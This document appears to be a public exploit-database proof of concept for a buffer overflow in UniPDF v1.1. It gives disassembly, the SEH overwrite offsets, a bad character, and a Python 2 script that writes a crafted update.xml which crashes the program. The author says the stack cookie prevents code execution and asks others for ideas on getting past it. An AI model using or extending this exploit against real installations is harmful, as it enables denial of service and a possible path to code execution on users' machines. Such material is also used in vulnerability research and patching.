UniPDF 1.1-Crash PoC (SEH overwritten)

UniPDF 1.1-Crash PoC (SEH overwritten)

# Exploit Title: UniPDF v1.1 BufferOverflow, SEH overwrite DoS PoC# Google Dork: [none]# Vendor Homepage: http://unipdf.com/# Software Link: http://unipdf.com/file/unipdf-setup.exe (Redirect to: http://unipdf-converter.en.softonic.com/download)# Version: 1.1# Tested on: Windows 7 SP1 EN# CVE : [none]# Note:# Function MultiByteToWideChar will overwrite RET and SEH pointer, but I can't make exception occur before StackCookie checking # Please tell me if you have any ideal#013E8012  |.  68 00020000   PUSH 200                               ; /WideBufSize = 200 (512.)#013E8017  |.  8D8C24 9C0000> LEA ECX,DWORD PTR SS:[ESP+9C]         ; |#013E801E  |.  51            PUSH ECX                                 ; |WideCharBuf#013E801F  |.  52            PUSH EDX                                 ; |StringSize#013E8020  |.  50            PUSH EAX                                 ; |StringToMap#013E8021  |.  6A 00         PUSH 0                                   ; |Options#013E8023  |.  6A 00         PUSH 0                                   ; |CodePage = CP_ACP#013E8025  |.  FF15 54B45101 CALL NEAR DWORD PTR DS:[<&KERNEL32.Multi> ; \MultiByteToWideChar#013E802B  |.  8D87 08020000 LEA EAX,DWORD PTR DS:[EDI+208]# At Offset: 327-> overwrite nSEH # At Offset: 329-> overwrite SEH # badchar = 0x22buff2 = "A" * 325buff2+= "CC" # nSEHbuff2+= "BB" # SEHcrash2   = "<config>\n"crash2 += "    <current Dat=\"1422420474\" />\n"crash2 += "    <Dat Txt=\""+buff2+"\" />\n"crash2 += "</config>\n"# Copy file update.xml to UniPDF Application Folder and run UniPDF.exefile = open("update.xml","w")file.write(crash2)file.close()print "UniPDF v1.1 Crash PoC by bonze at FPT-IS"print "Email: 281936@qq.com"print "File Created"